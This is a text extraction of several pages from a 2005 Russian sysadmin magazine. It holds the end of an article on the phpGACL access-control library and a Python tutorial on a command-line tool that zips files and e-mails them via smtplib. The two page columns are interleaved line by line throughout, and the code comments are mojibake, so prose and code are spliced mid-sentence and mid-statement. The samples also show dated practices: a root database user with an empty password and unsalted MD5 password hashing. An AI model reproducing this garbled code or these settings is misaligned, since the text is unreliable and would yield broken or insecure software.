Interbase или библиотеки SQLite) и абстрактный класс дос- Недостатки тут не очевидны, наоборот, при такой схе-
тупа к базам данных ADOdb. ме всё кажется явным и прозрачным.
Проблемы начинаются тогда, когда операции с правами
Для чего нужна система пользователей немного выходят за штатный режим. Допус-
управления правами? тим, менеджер по работе с клиентами увольняется или за-
Как пример приложения возьмём веб-интерфейс к клиент- болевает, и его функции (если точнее, его права) необходи-
ской базе некого телекоммуникационного предприятия. До- мо срочно передать кому-то другому, в чьи служебные обя-
ступ к нему в той или иной степени имеют все сотрудники, занности они ранее не входили. Причём системного адми-
с той разницей, что, если такие атрибуты, как ФИО, кон- нистратора, который может назначить эти функции, поковы-
тактные телефоны, email, общедоступны (на чтение), то с рявшись в базе данных «отвёрткой», в данный момент нет
более конфиденциальной информацией, такой как финан- на месте, да и вообще данное ковыряние – по сути, нештат-
совая история, технические детали, могут быть ознакомле- ная операция, которая в нормально организованной систе-
ны только те, кто по своим должностным обязанностям име- ме не должна иметь место. Конечно, можно прописать соот-
ют на это право. Изменять наиболее важные сведения (со- ветствующие права у конкретного объекта доступа, но осо-
стояние лицевого счёта, атрибуты контракта) имеют право бенность подобных систем состоит в том, что пользовате-
лишь несколько сотрудников, несущих ответственность за лей (другими словами, субъектов доступа), как правило, го-
свои действия. Кроме того, есть ещё индивидуальные роли раздо больше, чем объектов. Причём при вышеописанном
– секретарь должен иметь доступ к финансовой истории, матричном подходе (в худшем случае, но случае вполне ре-
чтобы отвечать клиентам на претензии, скажем, по поводу альном) нам придётся определять права всех пользовате-
приостановки услуги за неуплату, он же должен иметь воз- лей при доступе к каждому конкретному объекту. Конечно,
можность изменять некоторые атрибуты клиента (состоя- можно ввести права «по умолчанию», но тогда проблемы
ние услуги, или, скажем, ФИО), системному инженеру дол- возникнут при добавлении нового объекта. Ещё одна про-
жна быть доступна возможность менять сетевые парамет- блема заключается в том, что при реальной работе (ну, ска-
ры и т. д. жем, вышеописанной болезни администратора) бывает так,
Казалось бы, реализовать права доступа не представ- что права доступа к объектам назначать просто некому. Та-

№3, март 2005 27


администрирование
ким образом, система распределения и управления права- могут быть переопределены внутри групп. Очень важно
ми должна включать и возможность некоторым категориям понимать, что проверка прав заключается в возвращении
пользователей давать права доступа другим. В этом, кста- булевого значения для любого запроса. Как не совсем оче-
ти, коренное отличие желаемой логики от логики распреде- видное следствие такого подхода – невозможность прямо
ления прав, существующих в современных файловых систе- получить ответ на вопрос вида «кто имеет доступ к изме-
мах, таких, как NTFS или различные файловые системы *nix. нению баланса клиента?» (в отличие от вопроса «Имеет ли
Подход, который использует phpgacl, конечно, не панацея, Вася такой доступ?»). Система смотрит на права с точки
но довольно эффективен. Он заключается в рассмотрении зрения субъектов, а не объектов доступа.
пользовательских прав не со стороны объектов, а со сторо-
ны субъектов доступа. Исчерпывающие примеры, демонст- Инсталляция
рирующие её работу, даны в документации, я же сейчас по- Требования довольно гуманны. Необходима версия PHP-ин-
пробую рассмотреть несколько упрощённую модель. терпретатора не ниже 4.2.0*, любой веб-сервер с поддерж-
Для начала определимся с терминами. В любой системе кой PHP (настоятельно не рекомендуется только Apache 2.x)
распределения прав существует, по крайней мере, три по- и реляционная база данных (декларируется поддержка
нятия – это пользователь, запрашивающий доступ, объект, MySQL, PostgreSQL, Oracle, Sybase, но ничто не мешает ис-
доступ к которому запрашивается, и, собственно, тип досту- пользовать MSSQL или вообще любую СУБД, которую под-
па (скажем, чтение или изменение данных). В phpgacl пользо- держивает php-расширение adodb. Мне удалось после не-
вателю соответствует определение ACO (Access Control больших изменений работать даже с СУБД cache, но это,
Objects – Объекты контроля доступа). В данном случае это разумеется, уже экзотика).
просто пользователи системы. Объектам соответствует оп- Сначала скачаем архив с библиотекой (адрес http://
ределение ARO (Access Request Objects – Объекты запроса phpGACL.sourceforge.net) и распакуем его в каталог вашего
доступа), которое включает в себя любые объекты доступа, веб-приложения. Далее открываем и редактируем файл
определяемые приложением. phpgacl/gacl.class.php. В нём надо определить следующие на-
С третьим пунктом (тип доступа) немного сложнее. В стройки:
базовой модели применения это понятие вообще не пре-
дусмотрено, почему – об этом позже. Разумеется, в любой // ïðåôèêñ äëÿ íàèìåíîâàíèÿ òàáëèö â áàçå äàííûõ
var $_db_table_prefix = 'galc_';
сколько-нибудь сложной системе данная вещь необходи- var $_db_type = 'mysql'; // òèï áàçû äàííûõ
ма, и в phpgacl она, разумеется, присутствует (AXO – Access var $_db_host = 'localhost'; // õîñò áàçû äàííûõ
var $_db_user = 'root'; //ïîëüçîâàòåëü áàçû äàííûõ
eXtension Objects – Объекты расширения доступа), но при- var $_db_password = ''; //ïàðîëü ïîëüçîâàòåëÿ
менение данного средства не всегда нужно, по крайней мере, var $_db_name = 'gacl'; //èìÿ áàçû äàííûõ
// îáúåêò ADODB database connector (åñëè ADODB
по двум причинам. Первая и самая очевидная из них – спе- // íå èñïîëüçîâàëîñü è íå íàñòðàèâàëîñü, ìîæíî îñòàâèòü
цифика доступа в веб-приложениях. Как правило, на «низ- // ïóñòûì)
var $_db = '';
ком» уровне доступ сводится к предоставлению пользова-
телю прав выполнить определённый скрипт. Вторая причи- Теперь нужно отредактировать phpgacl/admin/gacl_
на состоит в том, что результат проверки доступа, который admin.inc.php, продублировав в нём ту же информацию.
возвращает система, имеет булевой формат (ALLOW или Этот файл необходим административной части скрипта.
DENY) и соответственно тип доступа (если в таковом есть Причина, по которой одна и та же информация вводится
необходимость), должен быть так же описан как объект. дважды, проста – gacl.class.php невелик по размеру и боль-
шинстве случаев нет необходимости включать в приложе-
Логика работы ние весь программный интерфейс. (Мне это кажется некото-
Сразу хочу предупредить (честно говоря, для меня это было рой недоработкой, которая, впрочем, легко исправляется).
камнем преткновения), что phpgacl не даёт возможности Создаём базу данных с именем, которое мы задали в
указывать права пользователя на конкретные скрипты, веб- db_name и запускаем скрипт http://localhost/phpgacl/setup.php.
страницы или, скажем, таблицы базы данных. Всё, что она Он создаст необходимые таблицы в базе данных и в конце
делает, – это управляет логикой распределения прав. Ав- работы порадует примерно таким сообщением:
торизацию, аутентификацию, привязку к объектам должно phpGACL Database Setup
взять на себя ваше приложение. Чтобы получить представ- Configuration:
driver = mysql,
ление, как именно это можно сделать, советую посмотреть host = localhost,
реализацию административных функций в популярной CMS user = root,
database = gacl,
(Content Manager System) Mambo (http://mamboserver.com), table prefix = galc_
где phpgacl встроена в систему и практически нигде явным
Testing database connection...
образом не видна, но берёт на себя всю работу распреде- Success! Connected to "mysql" database on "localhost".
ления прав пользователей. Testing database type...
Основное отличие phpgacl от вышеописанного таблич- Success! Compatible database type "mysql" detected!
Making sure database "gacl" exists...
ного (матричного) подхода в том, что система описывает Success! Good, database "gacl" already exists!
структуру прав «сверху вниз», исходя из субъектов (како- Success! Installation Successful!!!
*IMPORTANT*
выми в данном случае являются сотрудники). Субъекты Please make sure you create the <phpGACL root>/admin/templates_c directory,
могут быть организованы в группы, причём любого уровня and give it write permissions for the user your web server runs as.
Please read the manual, and docs/examples/* to familiarize yourself with phpGACL.
вложенности. Права назначаются субъектам и группам и Let's get started!

28
администрирование
Как видно из последнего замечания, следует вручную Сразу скажу, что такой ACL выглядит довольно загру-
создать каталог /templates_c в каталоге phpgacl/admin (смысл женно (при небольшом числе субъектов), но phpGacl позво-
данного действия, по-видимому, кроется в возможности за- ляет группировать и комбинировать субъекты, строя сколь
дать права на запись) и перейти по ссылке «Let’s get started!». угодно сложные схемы. Один и тот же ARO может быть чле-
После этого программа установки выведет отчёт о состоя- ном разных групп, в частности, если в вышеприведённом
нии вашей системы и запросит подтверждения. Немножко примере мы решим дать Васе дополнительные полномо-
подумав (для виду), можно согласиться. Если все настрой- чия, можно просто добавить его в группу «отдел биллин-
ки правильны, вы попадаете в интерфейс администратора га»:
системы, где уже можно начинать работу – создавать груп-
пы, пользователей, объекты и разделы. В родном интер-
фейсе phpgacl всё довольно понятно, и я бы не хотел долго
объяснять, на какие кнопки нажимать, лучше остановимся
на организации прав доступа.
Для начала разобьём весь персонал компании на вло-
женные группы и определим ARO:
Как это реализовать на программном уровне? Прежде
всего следует сказать, что phpGACL идентифицирует каж-
дый объект доступа типом объекта (ARO, AXO, ACO) и дву-
мя ключевыми словами – именем раздела и значением.
Раздел – это заданная пользователем общая категория
объекта доступа, значение – название для объекта досту-
па.
Добавление нового элемента в схему происходит сле-
Следующим этапом установим права доступа для дей- дующим образом:
ствий (то есть ACO) для каждой группы или ARO, входящих
в получившееся дерево (в данном случае мы исходим из Äîáàâëåíèå ARO “Ðàçäåë -> Çíà÷åíèå”:
того, что по умолчанию доступ куда бы то ни было запре- “Billing_group -> Vasya”
щён всем). “Managers_group -> Oksana”

В данном случае тип объекта понятен из контекста, и


его можно опустить. Таким же образом происходит добав-
ление объектов других типов.

Уровень API
На более низком уровне работа приложения с phpgacl про-
Данная схема охватывает все права, но совсем не иде- ходит посредством вызова функций программного интер-
ально построена (напоминает сработанную «на коленке»), фейса.
но это вполне реальный пример, и далее будем отталки- Вот пример из руководства, реализующий простую про-
ваться от него. Теперь рассмотрим любую типовую ситуа- верку логина и пароля:
цию. Скажем Андрей, неожиданно (или ожидаемо) взял от-
пуск. Костя в силу своей загруженности не может целиком // Ïîäêëþ÷àåì áàçîâûé API
include('phpgacl/gacl.class.php');
переложить на себя его обязанности и решает переложить $gacl = new gacl();
их на Женю. Коля по каким-то причинам утратил доверие, $username = $db->quote($_POST['username']);
$password = $db->quote(md5($_POST['password']));
и было принято решение, что он вполне может справляться $sql = 'SELECT name FROM users WHERE name=';
со своей работой, без информации о финансовом положе- $sql .= $username.' AND password='.$password;
$row = $db->GetRow($sql);
нии клиента. Более того, решено, что Вася теперь будет if($gacl->acl_check('system','login','user',$row['name'])){
иметь доступ к счетам клиентов. Действия по изменению $_SESSION['username'] = $row['name'];
return true;
логики доступа, несмотря на некоторое несовершенство на- }
чальной схемы, минимальны. Типовые действия по изме- else
return false;
нению, добавлению прав будут показаны ниже, но в дан-
ном случае важна получившаяся диаграмма доступа (а если Обратите внимание, что здесь используется только один
называть вещи своими именами, ACL – Access Control Lists вызов, а именно функция acl_check(), которая проверяет
дерево), она будет выглядеть так: ARO-объект $row['name'] в ARO-разделе «user» и ACO-объект
«login» в ACO-разделе «system». Надо отметить, что функ-
ции API не входят в официальную документацию, но их опи-
сание доступно в каталоге docs/phpdoc/ дистрибутива.
При написании статьи был использован русский перевод
документации phpgacl (http://php.russofile.ru/phpGACL.html),
выполненный Кузьмой Феськовым.

№3, март 2005 29


администрирование

ПРАКТИКУМ Python:

ОТПРАВКА ФАЙЛОВ ПО ЭЛЕКТРОННОЙ ПОЧТЕ

СЕРГЕЙ СУПРУНОВ
Как вы отправляете по электронной почте файл из Windows? мительно. Теперь я делаю это из FAR командной строкой
Я, например, до недавнего времени делал так: находил нуж- такого вида:
ный файл в дереве каталогов в FAR; набирал в командной
строке «start .», чтобы открыть каталог в «Проводнике»; C:\Temp>send to me file “Ãîäîâîé îò÷åò.doc” as year2004.zip
щелкал по файлу правой кнопкой мыши, выбирал «Add to
archive…»; затем щелкал по полученному файлу архива и По заголовку статьи вы уже поняли, что такого счастья
выбирал «Отправить → Адресат»… В общем, долго и уто- удалось достичь благодаря языку Python, и здесь доста-

30
администрирование
точно подробно описываются предпринятые для этого шаги. self.ZIPNAME = zn = argv[4]
Цель статьи, как обычно, не в описании готового решения if zn.find('*') > -1 or zn.find('?') > -1:
self.ZIPNAME = 'archive.zip'
для «copy – paste», а в том, чтобы показать пути решения
подобных задач. self.ZIPNAME = Unicode(self.ZIPNAME,
pymaconf.fsyscodepage).encode ↵
Итак, с чем нам предстоит столкнуться. Прежде всего (pymaconf.fzipcodepage)
познакомимся с использованием модуля smtplib, входяще- if self.ZIPNAME[-4:] != '.zip':
го в стандартную библиотеку Python, и нужного нам для self.ZIPNAME = self.ZIPNAME + '.zip'
формирования текста почтового сообщения и собственно # âñå îñòàëüíûå ïàðàìåòðû – øàáëîíû ôàéëîâ
для отправки. Вспомним, как работать с zip-архивами. Ну и ifSTOP:
попутно решим некоторые проблемы с кодировками, тра- files = argv[4:STOP]
else:
диционно присущие Windows. files = argv[4:]
Начнем с главного сценария – send.py: if not files:
self.Usage()

Ëèñòèíã 1. Íà÷àëî ñöåíàðèÿ send.py # ôîðìèðóåì ñïèñîê ôàéëîâ ïî øàáëîíàì


self.FILELIST = []
# -*- coding: cp1251 -*- for pattern in files:
tmplist = glob.glob(pattern)
######################################################### for file in tmplist:
# Utility for send files by e-mail from command line if os.path.isfile(file):
#-------------------------------------------------------- self.FILELIST.append(file)
# Usage: if not self.FILELIST:
# send to <addr> files <file1[ file2...]> [(nonzipped | as <zip>)] print '\nERROR: no files found.'
######################################################### self.Usage()

import sys, os, glob, myzip, pymaconf # åñëè íóæíî – çàïðîñ òåìû
from mystd import mystdin, mystdout if pymaconf.promptsubj:
from pysender import pysender tmp = raw_input('Subject: ')
if tmp:
В приведенном фрагменте подключаются нужные нам мо- pymaconf.defsubject = tmp
print
дули. Из них sys, os и glob входят в стандартную библиотеку
Python, myzip – слегка модифицированный вариант модуля, # åñëè íóæíî – çàïðîñ ñîîáùåíèÿ
ifpymaconf.promptmess:
который был разработан ранее для операций упаковки фай- tmp = raw_input('Message: ')
лов (см. статью «Автоматизируем FTP с помощью Python», if tmp:
pymaconf.defmessage = tmp
журнал «Системный администратор» №12, декабрь 2004 г.), print
а остальные будут рассмотрены в процессе работы. # Ôóíêöèÿ îïðåäåëåíèÿ ïîëíîãî àäðåñà ïî ïñåâäîíèìó
Чтобы созданные наработки было удобнее использовать def getaddrbyalias(self, addr):
в дальнейшем, оформим функции нашего сценария как abf = os.path.dirname(__file__) + ↵
os.path.sep + 'addrbook.ab'
класс pyma. Этот класс я приведу полностью, снабжая ком- ab = open(abf, 'r').readlines()
ментариями наиболее интересные моменты. Ниже будут aliases = {}
for line in ab:
даны еще некоторые пояснения. alias, fulladdr = line.split()
aliases[alias] = fulladdr
try:
Ëèñòèíã 2. Ñåðåäèíà ñöåíàðèÿ send.py (êëàññ pyma) fulladdr = aliases[addr]
except:
classpyma: fulladdr= addr
# ôóíêöèÿ èíèöèàëèçàöèè – ââîäèì ïåðåìåííûå, return fulladdr
# êîòîðûì íóæíî çàäàòü çíà÷åíèÿ ïî óìîë÷àíèþ
def __init__(self): # Ôóíêöèÿ ôîðìèðîâàíèÿ è îòïðàâêè ñîîáùåíèÿ
self.FLG_NZ = False # áóäåì ëè óïàêîâûâàòü ôàéëû def sendmail(self):
self.ZIPNAME = '' # èìÿ zip-àðõèâà self.parseParameters(*sys.argv)
ifself.FLG_NZ:
# Ôóíêöèÿ ðàçáîðà ïàðàìåòðîâ, ââåäåííûõ â êîìàíäíîé ñòðîêå # åñëè íå óïàêîâûâàòü – îòïðàâêà ôàéëîâ ïî ñïèñêó
def parseParameters(self, *argv): pysender().sendfiles(self.TO, ↵
STOP = 0 self.FILELIST)
# äîëæíî áûòü íå ìåíåå 5 ïàðàìåòðîâ else:
iflen(argv) < 5: # èíà÷å óïàêîâûâàåì ïî ñïèñêó è îòïðàâëÿåì àðõèâ
self.Usage() # (èìÿ ïðîãðàììû + åùå 4) myzip.writepattzip(self.ZIPNAME, ↵
# 1-é îáÿçàòåëüíî «to» self.FILELIST)
if argv[1][:2] != 'to': pysender().sendfiles(self.TO, ↵
self.Usage() (self.ZIPNAME,))
# 3-é îáÿçàòåëüíî «fi[les]» os.remove(self.ZIPNAME)
if argv[3][:2] != 'fi':
self.Usage() # Ôóíêöèÿ âûâîäà ñîîáùåíèÿ î ïðàâèëüíîì ñèíòàêñèñå
self.TO = self.getaddrbyalias(argv[2]) def Usage(self):
# åñëè ïîñëåäíèé ïàðàìåòð íà÷èíàåòñÿ print '''
ifargv[-1][:2] == 'no': Utility for send files by e-mail from command line
# ñ «no», íå óïàêîâûâàòü Usage:
self.FLG_NZ = True send to <addr> files <file1[ file2...]> ↵
STOP = -1 [(nonzipped | as <zip>)]'''
# åñëè ïðåäïîñëåäíèé – «as» sys.exit()
elif argv[-2][:2] == 'as':
# òî ïîñëåäíèé – èìÿ àðõèâà
self.ZIPNAME = argv[-1] То есть этот модуль обеспечивает лишь разбор строки
STOP = -2
# èíà÷å èìÿ àðõèâà – ïî 1-ìó ôàéëó параметров, а сами функции отправки и упаковки разме-
else: щены в других модулях. Обратите внимание на конструк-

№3, март 2005 31


администрирование
ции вида «argv[-2][:2]». Они используются для того, чтобы в # Ïàðàìåòðû ïåðåêîäèðîâîê
параметрах командной строки значащими были только пер- basecodepage = 'cp1251' # òåêñò â èñõîäíèêàõ
termcodepage = 'cp866' # òåðìèíàë (ââîä-âûâîä)
вые два символа. Операция [m:n], называемая срезом, по- mailcodepage = 'cp1251' # êîäèðîâêà ïèñåì
зволяет извлечь из массива «подмассив» начиная с эле- fsyscodepage = 'cp1251' # êîäèðîâêà èìåí ôàéëîâ
# â ñèñòåìå
мента m до элемента n, не включая последний. Если m или fzipcodepage = 'cp1251' # êîäèðîâêà èìåíè
n пропущено, подразумевается «с начала массива» или «до # zip-àðõèâà
конца массива» соответственно. Собственно, здесь нет ничего интересного – просто оп-
Текстовая строка может рассматриваться как массив ределяется ряд переменных, которые будут использовать-
одиночных символов. Благодаря этому ключ «files» можно ся в дальнейшем. Если ваш smtp-сервер требует авториза-
записать и как «file», что более логично при отправке одно- цию, установите переменную authrequire в 1 и заполните
го файла, и даже как «fi». Аналогично ключ «nonzipped» значения authlogin и authpassword. В данной программе
можно сокращать вплоть до «no». пароль хранится в открытом виде, поэтому если доступ к
Конечно, можно было бы использовать более традици- вашей машине достаточно «либеральный», следует позабо-
онный синтаксис командной строки, но такая запись вос- титься о защите этой информации. Переменные promptsubj
принимается и запоминается лучше. Сравните, например, и promptmess определяют, должен ли выдаваться запрос
две команды: на ввод темы и тела письма или следует просто подстав-
лять значения, определенные по умолчанию.
send–t amsand@rambler.ru –f report.txt –z rep2.zip Функция sendmail() класса pyma вызывает разбор ко-
send to amsand@rambler.ru file report.txt as rep2.zip
мандной строки, выделяя адрес получателя, список фай-
Лично мне больше нравится вторая, хотя она и сложнее лов для отправки и ключи, определяющие параметры упа-
в разборе. ковки. Функция getaddrbyalias() возвращает полный адрес
Последний отрывок файла send.py приведен ниже, но по указанному в командной строке псевдониму. Если соот-
большую часть происходящего в нем я поясню немного поз- ветствие не найдено, возвращается адрес, введенный в ко-
же. На данный момент достаточно знать, что он просто вы- мандной строке. Сам файл addrbook.ab выглядит пример-
зывает функцию отправки сообщения. но так:

Ëèñòèíã 3. Êîíåö ñöåíàðèÿ send.py buh ivanova@my.server.ru


me amsand@rambler.ru
if __name__ == '__main__': .. .. ..
mo = mystdout()
mi = mystdin()
mo.setmystdout() То есть если указать «to me», почта будет отправлена
mi.setmystdin() на адрес amsand@rambler.ru, как если бы было указано «to
nc = pyma()
nc.sendmail() amsand@rambler.ru».
mo.setorigin() Обратите внимание на конструкцию, с помощью кото-
mi.setorigin()
рой определяется полный путь к файлу адресной книги:
На этом send.py завершается. Должно быть, вы уже за-
метили, что нигде не видно ни адреса отправителя, ни па- abf = os.path.dirname(__file__) + os.path.sep + 'addrbook.ab'
раметров smtp-сервера, через который выполняется отправ-
ка. Конечно, все это присутствует, но вынесено в конфигу- Поскольку нужно, чтобы утилиту отправки можно было
рационный файл pymaconf.py, представленный ниже: запускать из любого каталога, и именно там Python будет
искать файлы, указанные без пути, то нам нужно «привя-
Ëèñòèíã 4. Êîíôèãóðàöèîííûé ñöåíàðèé pymaconf.py заться» к месту размещения файла send.py. Встроенная
# -*- coding: cp1251 -*- переменная __file__ возвращает полное имя модуля, из ко-
торого она вызывается. Функция dirname() модуля os.path
# Èìÿ smtp-ñåðâåðà
smtpserver = 'my.server.ru' вырезает из полного имени файла имя каталога. Ну и что-
бы обеспечить переносимость между различными опера-
# Ïàðàìåòðû smtp-àâòîðèçàöèè
authrequire = 0 ционными системами вместо явного указания слеша для
authlogin = '' отделения каталога от имени файла используем перемен-
authpassword = ''
ную os.path.sep, которая возвращает прямой слеш «/» на
# Àäðåñ îòïðàâèòåëÿ системах UNIX и обратный «\» в Windows.
fromaddr = 'pyma.test@my.server.ru'
Вернемся к функции sendmail(). Если в командной стро-
# Çàïðàøèâàòü ëè òåìó ñîîáùåíèÿ ке определен ключ «nonzipped», то в процессе ее разбора
promptsubj = 1
# Òåìà ñîîáùåíèÿ ïî óìîë÷àíèþ функцией parseParameters() переменная FLG_NZ получит
defsubject = 'Îòïðàâêà ôàéëà' истинное значение. При этом весь список файлов, поме-
# Çàïðàøèâàòü ëè òåêñò ïèñüìà щенный в переменную FILELIST, отправляется непосред-
promptmess = 1 ственно в функцию sendfiles() модуля pysender (который
# Òåêñò ïèñüìà ïî óìîë÷àíèþ
defmessage = 'Îòïðàâêà ôàéëà\n\n\t-= pyma v.0.1 =-' будет рассмотрен далее). Если же требуется упаковка, что
является поведением по умолчанию, то список файлов от-
# Îòïðàâëÿòü ëè êîïèè ïèñåì íà óêàçàííûé àäðåñ
backmail = 1 дается на обработку функции writepattzip() модуля myzip,
backaddr = 'pyma.back@my.server.ru' который был разработан ранее для графической утилиты

32
администрирование
отправки файлов по FTP. Здесь мы не будем к нему воз- param['codepage'] = pymaconf.mailcodepage
вращаться, код этого модуля, как и всех остальных, можно param['message'] = smtplib.base64. ↵
будет скачать с сайта журнала: http://samag.ru/source. Пос- encodestring(param['message'])
ле упаковки функция sendfiles() получает имя созданного msg= self.messagepart % param
архива. Как только отправка завершится, zip-файл будет
удален. # äëÿ êàæäîãî ôàéëà èç ñïèñêà ôîðìèðóåì
# ÷àñòü ñîîáùåíèÿ, îáúÿâëÿþùåãî âëîæåíèå
Вся основная работа выполняется функцией sendfiles() files = ''
модуля pysender. Ниже представлен этот модуль: print 'pysender: MIME-ïðåîáðàçîâàíèå âëîæåíèé:'
for filename in filelist:
files += filename + ','
Ëèñòèíã 5. Ìîäóëü pysender.py param['filename'] = filename
base, ext = os.path.splitext(filename)
# -*- coding: cp1251 -*- param['mimetype'] = ↵
import os, smtplib, pymaconf, pymalog self.getmimetypebyext(ext[1:])
print 'pysender: + %s...' % filename
class pysender:
# Ôóíêöèÿ èíèöèàëèçàöèè ist = open(filename, 'rb').read()
def __init__(self): param['mimed'] = smtplib. ↵
base64.encodestring(ist)
# Ðàçáèðàåì ôàéë mime-òèïîâ. msg = msg + (self.attachpart % param)
mtf = os.path.dirname(__file__) + ↵
os.path.sep + 'mime.types'
mt = open(mtf, 'r').readlines() # îòïðàâêà ñîîáùåíèÿ
self.mimetypes = {} print 'pysender: ñîåäèíåíèå ñ %s...' % ↵
for line in mt: pymaconf.smtpserver
mimetype, mimeext = line[:-1].split() try:
self.mimetypes[mimeext] = mimetype session = smtplib. ↵
SMTP(pymaconf.smtpserver)
# Øàáëîí çàãîëîâêà ïèñüìà, âêëþ÷àÿ òåëî ïèñüìà if pymaconf.authrequire:
messagepart = '''From: %(fromaddr)s session.login ↵
To: %(toaddr)s (pymaconf.authlogin,
Subject: %(subject)s pymaconf. ↵
X-Mailer: PyMa 0.1 authpassword)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="%(boundary)s" print 'pysender: ↵
âûïîëíÿåòñÿ îòïðàâêà...'
This is a multi-part message in MIME format. session.sendmail(pymaconf.fromaddr, ↵
envtoaddr, msg)
--%(boundary)s print 'pysender: îòïðàâêà çàâåðøåíà.'
Content-Type: text/plain; charset="%(codepage)s" session.quit()
Content-Transfer-Encoding: Base64
pymalog.write('SENT: %s to %s' % ↵
%(message)s (files, toaddr))
''' except:
print 'pysender: ÎØÈÁÊÀ ÎÒÏÐÀÂÊÈ.'
# Øàáëîí âëîæåíèÿ â ïèñüìå pymalog.write('ERROR: %s to %s' % ↵
attachpart = '''--%(boundary)s (files, toaddr))
Content-Type: %(mimetype)s; name="%(filename)s"
Content-Transfer-Encoding: base64 Центральной частью описанного здесь класса являются
Content-Disposition: attachment; filename="%(filename)s" шаблоны сообщений messagepart и attachpart. В них широко
%(mimed)s''' применяется использование знакомест вида %(key)s, кото-
рые заполняются значениями, соответствующими ключам
# Ôóíêöèÿ âîçâðàùàåò mime-òèï ïî ðàñøèðåíèþ ôàéëà из словаря, указываемого после оператора «%». Например,
# Èñïîëüçóåòñÿ ñëîâàðü, ñôîðìèðîâàííûé âî âðåìÿ строка param[‘message’] будет помещена в шаблон вместо
# èíèöèàëèçàöèè êëàññà
def getmimetypebyext(self, ext): конструкции %(message)s.
try: Шаблоны описывают вид сообщения в формате MIME.
mt = self.mimetypes[ext]
except: Для упрощения работы все, включая тело сообщения, мы
mt = 'application/octet-stream' кодируем в соответствии с Base64, для чего используется
return mt
функция encodestring() класса smtp.base64. Каждое вложе-
ние также преобразовывается согласно Base64 и оформ-
# Ôóíêöèÿ ôîðìèðóåò ñîîáùåíèå è îòïðàâëÿåò åãî
def sendfiles(self, toaddr, filelist): ляется как mime-часть сообщения. Для определения mime-
типа файла по его расширению используется файл соот-
# çàïîëíÿåì ñëîâàðü ïàðàìåòðîâ, èñïîëüçóåìûõ â øàáëîíå
param = {} ветствия mime.types, в качестве которого выступает слег-
param['boundary'] = ↵ ка откорректированный одноименный файл, поставляемый
'-=-=_BOUNDARY_adba_YRADNUOB_=-=-'
param['fromaddr'] = pymaconf.fromaddr вместе с Apache.
if pymaconf.backmail and pymaconf.backaddr: Главное, что нужно в нем сделать, – разбить строки, в
param['toaddr'] = toaddr + ↵
'\nBcc: ' + pymaconf.backaddr которых одному mime-типу ставятся в соответствие несколь-
envtoaddr = [toaddr] ко расширений, таким образом, чтобы в каждой строке
envtoaddr.append(pymaconf.backaddr)
else: фигурировало только одно расширение. Комментарии и
param['toaddr'] = toaddr строки без расширений удаляются. Файл, который исполь-
envtoaddr = [toaddr]
зую я, можно будет найти на сайте журнала в разделе «Ис-
param['subject'] = pymaconf.defsubject ходный код». Если определить mime-тип не удалось, исполь-
param['message'] = pymaconf.defmessage
зуется значение «application/octet-stream».

№3, март 2005 33


администрирование
После того как будет сформировано сообщение нужно- print unicode(str, ↵
го формата, оно отправляется адресату с помощью функ- basecodepage).encode(termcodepage),
self.setmystdout()
ции sendmail() стандартного модуля smtplib. Помимо текста def setmystdout(self):
сообщения ей передаются адреса отправителя и получате- self.origin, sys.stdout = sys.stdout, self
ля для формирования конверта. Если в конфигурационном def setorigin(self):
файле включен режим отправки копий всех писем на ука- sys.stdout = self.origin
занный адрес (что может быть полезно как для контроля, Итак, что тут происходит? Класс mystdout имеет три
так и в качестве плохонькой, но все же замены папки «От- функции – setmystdout(), назначает в качестве стандартно-
правленные»), то к адресу получателя добавляется и ука- го потока вывода sys.stdout сам этот класс, setorigin() воз-
занный в pymaconf.py. Функция write() модуля pymalog за- вращает прежнее значение, заблаговременно сохраненное
носит в лог-файл сообщение о результате отправки пись- в self.origin. А функция write() необходима, чтобы этот класс
ма, чтобы в дальнейшем можно было отследить, что, когда действительно мог играть роль потока вывода. В ней-то и
и куда отправлялось. Сам модуль pymalog.py: происходит все самое интересное – мы возвращаем на
место поток stdout, выводим в него переданную как пара-
Ëèñòèíã 6. Ìîäóëü pymalog.py метр и перекодированную строку, и вновь назначаем пото-
# -*- coding: cp1251 -*- ком вывода класс mystdout. В итоге выводимые строки по-
прежнему попадают на экран, но предварительно перехва-
import time, os
тываются и преобразуются в нужную кодировку.
name = os.path.dirname(__file__) + os.path.sep + 'pyma.log' Аналогично поступаем с sys.stdin. Классу mystdin нужен
def write(str): метод readline, который вызывает стандартный readline
dt = time.strftime('%d.%m.%Y %H:%I:%S') объекта sys.stdout (который сохранен в переменной self.origin)
log = open(name, 'a+')
log.write('%s: %s\n' % (dt, str)) и возвращает считанную строку перекодированной.
log.close() Теперь становятся понятны загадочные строки в конце
if __name__ == '__main__': модуля send.py, в которых фигурируют объекты mi и mo.
write('qwerty') Они служат для переопределения потоков ввода-вывода.
Вторая неприятность заключается в том, что если имя
Все. Можно вводить заветную командную строку и смот- файла содержит русские символы, то, будучи упакованным,
реть, что получилось. А получились две неприятности, с ко- оно исказится. Связано это с тем, что такие программы,
торыми нам предстоит побороться. Первая – наш код запи- как WinRAR, WinZip, 7-Zip и т. д., считают, что имена упако-
сан в cp1251, а FAR выводит строки в cp866. В итоге весь ванных файлов должны быть в кодировке cp866. Но класс
вывод, который происходит во время работы утилиты, име- ZipFile стандартного модуля zipfile никаких преобразований
ет нечитаемый вид. Если переписать код в cp866, то текст имен файлов не выполняет, записывая их, как есть. Если
сообщений будет выглядеть нормально, но нечитаемыми ста- предварительно преобразовать имя файла в нужную коди-
нут имена файлов, имеющие символы кириллицы (Windows ровку и в таком виде передать его функциям модуля, то
использует для именования файлов cp1251). Наверняка ука- возникает ошибка «Файл не найден», поскольку файла с
занную проблему можно было бы обойти проще, чем это полученным именем действительно не существует.
сделал я, но использованное решение может быть примене- Ранее, когда я описывал отправку файлов по FTP, дан-
но в других случаях, а потому представляет определенную ная проблема также имела место, но была не столь акту-
учебную ценность. Мы переопределим стандартные потоки альна, так как предполагалось, что и упаковка, и распаков-
ввода-вывода. Для этого напишем еще один модуль, ка будут выполняться с помощью Python. В случае же элек-
mystd.py: тронной почты можно почти со стопроцентной увереннос-
тью утверждать, что распаковываться архив будет чем угод-
Ëèñòèíã 7. Ìîäóëü mystd.py но, но только не программой на Python.
# -*- coding: cp1251 -*- Для частного решения указанной проблемы я слегка
подправил библиотечный файл zipfile.py, размещающийся
import sys
from pymaconf import termcodepage, basecodepage в каталоге Python, в подкаталоге Lib. Копируем этот мо-
дуль под именем zipfrusw.py, и в модуле myzip подгружаем
# Êëàññ ïåðåîïðåäåëåíèÿ ïîòîêà ââîäà
classmystdin: этот измененный файл вместо zipfile. Именно это я и имел
